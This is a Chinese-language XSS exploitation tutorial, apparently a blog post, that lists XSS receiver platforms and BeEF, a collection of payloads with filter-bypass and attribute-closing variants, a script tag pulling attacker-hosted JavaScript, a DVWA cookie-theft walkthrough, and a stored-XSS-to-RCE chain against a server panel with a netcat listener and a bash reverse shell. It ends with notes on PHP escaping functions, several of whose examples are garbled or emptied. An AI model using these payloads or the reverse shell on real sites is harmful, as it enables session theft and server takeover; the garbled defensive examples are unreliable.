作者:凌度
仅供学习,切勿用于非法途径
1. xss 利用工具:
1. github 中推荐的 xss 平台项目:
https://github.com/firesunCN/BlueLotus_XSSReceiver
安装省略
https://github.com/78778443/xssplatform
2. 在线利用平台:
http://xss8.cc/
3. beef-xss
该工具是 Kali 自带的:
在左上角工具栏里输入 beef 然后启动即可,beef 的默认端口是 3000,它会自动生成一个注入的 js 路径,http://127.0.0.1:3000/hook.js 文件
注意:这里我们需要注意的一点是,当你进行插入外网的时候,需要将自己的公网 ip 替换 127.0.0.1
2. xss 利用的几种方式:
1. img,a,input 标签的简单利用:
- 当 img 标签出现路径寻找错误的时候,会触发 onerror 事件,从而弹窗 123
<img src="#" onerror=alert(123)>
<img src="223123" onerror=alert(123)>
- 鼠标点击 a 链接之后触发弹窗
<a href="#" onclick=alert(123)>
- iframe 加载文件后进行弹窗
<iframe onload=alert(123)>
2. xss 常见 payload(包括绕过的 payload):
<script>alert(1)</script> //这里alert(1)只是为了简单明了,当然可以弹出cookie.把1换成document.cookie即可.
<script src=x onerror=alert(1)></script> //引入x,由于x不存在,触发onerror函数,进行弹框
<script src='http://www.test.com/probe.js'></script> //直接引入到攻击者的后台网站(可以直接用beef)
<svg onload=alert(1)> //svg标签用来插入图形,onload表示页面加载完成,触发弹框
<video src=1 onerror=alert(1)> //插入视频时,错误就触发弹框
<audio src=1 onerror=alert(1)> //插入声音时,错误就触发弹框
<a href=javascript:alert(1)></a> //href里可以使用javascript伪协议进行弹框(当过滤了其他语句时,可以使用)
<iframe src="javascript:alert(111)"></iframe> //火狐/IE/谷歌都支持
3. xss 利用分两种情况
1. html 标签外部:
<p>hello
<script type="text/javascript">alert('我是html中xss')</script>
</p>
2. html 标签内部(通常为 input 标签):
<input type="text" name="" value="{payload}">
这个时候,我们的 payload 里面就是需要使用 val"> "去闭合双引号
闭合之后的语句如下所示:
<input type="text" name="" value=" val"> <script>alert(1)</script> "">
3. script 标签内部:
'去闭合前面的变量和 script 标签
<script type="text/javascript">
//原始语句:var x='hello{payload}';先用'</script>闭合前边的变量和script标签,再重新构造标签.
var x = 'hello'</script><script type="text/javascript">alert(111)</script>>';
document.write(x);
</script>
当然你也是可以不用
<input name=keyword value="{payload}">
在 payload 设置值为:
val" οnclick="javascript:alert(123)"
或者
val" οnclick="alert(123)"
放入进去就是
<input name=keyword value="val" onclick="javascript:alert(123)""> # 点击之后就利用伪协议去执行 js 脚本
或者
<input name=keyword value="val" onclick="alert(123)""> # 点击之后直接弹窗123
<input type=image onerror=alert(1) src=1 >
3. 反射型 xss 利用:(原理一致,就不举例其它类型了)
1. 利用反射型 xss 获取 cookie:
以 dvwa 靶场作为案例:
我们使用平台自动生成的 payload 然后将其放入框中
接下来,我们点击 submit ,然后回到 xss 平台
刷新之后,我们就会看到已经登录到你拿到 cookie 用户的登录界面了
2. 存储型 xss(linux小皮面板通杀,从 xss 发现到 rce)
1. xss 漏洞的发现:
首先我们登录进入到我们小皮的后台,然后我们发现有一个操作日志,会记录登录的信息,于是有了一个想法,那我先输入一个恶意代码进去,将恶意代码进行存储,然后在使用正确的用户名和密码进去,是不是能执行该恶意代码
接下来我故意输入一个恶意代码,然后登录
然后我们使用正确的用户登录,发现弹窗成功,因此验证成功,存在存储型 xss
2. rce 的利用:
1. kali 中 nc 提前做好监听:
nc -lnvp 8855
2. shell 的生成:
bash -i >& /dev/tcp/192.168.16.128/8855 0>&1
成功拿到 shell
3. xss 编码绕过:
1. 常见编码:
编码说明:
一般情况为了防止服务端对用户输入做了过滤,这时候可以尝试用编码进行绕过, 有的浏览器版本差异,需测试不同的语句,是否能被浏览器执行.
URL编码:将不安全的字符使用URL方式传输; 比如%20(空格)
html编码:防止特殊字符比如<>对页面造成影响,一般以&开头,分号结果.
javascript编码: 可以识别8进制/16进制和Unicode编码
base64编码: 一般需要配合data协议使用
4. xss 相关防御函数:
1. htmlspecialchars:
该函数可以把输入内容转换为HTML实体。
在 HTML 中,某些字符是预留的,例如在 HTML 中不能使用小于号 < 和大于号 > ,这是因为浏览器会误认为它们是标签。因此我们要使用这些预定义的字符的时候,我们需要进行 html 编码
1. 该函数预定义的字符是:
1. 该函数的语法:htmlspecialchars(string,flags,character-set,double_encode)
& (和号)成为 &
" (双引号)成为 "
’ (单引号)成为'
< (小于)成为 <
(大于)成为 >
2. 过滤原理:
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体,从而使XSS攻击失效。但是这个函数默认配置不会将单引号和双引号过滤,只有设置了quotestyle规定如何编码单引号和双引号才能会过滤掉单引号
可用的quotestyle类型:
ENT_COMPAT - 默认。仅编码双引号
ENT_QUOTES - 编码双引号和单引号
ENT_NOQUOTES - 不编码任何引号
//举例1:设置ENT_QUOTES
$message = htmlspecialchars($_GET['message'],ENT_QUOTES);
//举例2:
$str = "";
echo $str;
$str1 = htmlspecialchars($str);
2.htmlentities()作用:
#基本格式:htmlentities(string,flag,character-set,double_encode)函数
$str = "Bill & 'Steve'";
echo htmlentities($str);
echo htmlentities($str, ENT_COMPAT); // 只转换双引号
3.strip_tags()函数作用:
自动去掉字符串中HTML/XML和PHP的标签;始终会剥离HTML注释,不能修改.
#举例1:移除html标签
echo strip_tags("Hello world!"); #结果Hello world!
#举例2:移除JS标签
$str = "";
$new = strip_tags($str);
echo $new; #结果alert(document.cookie)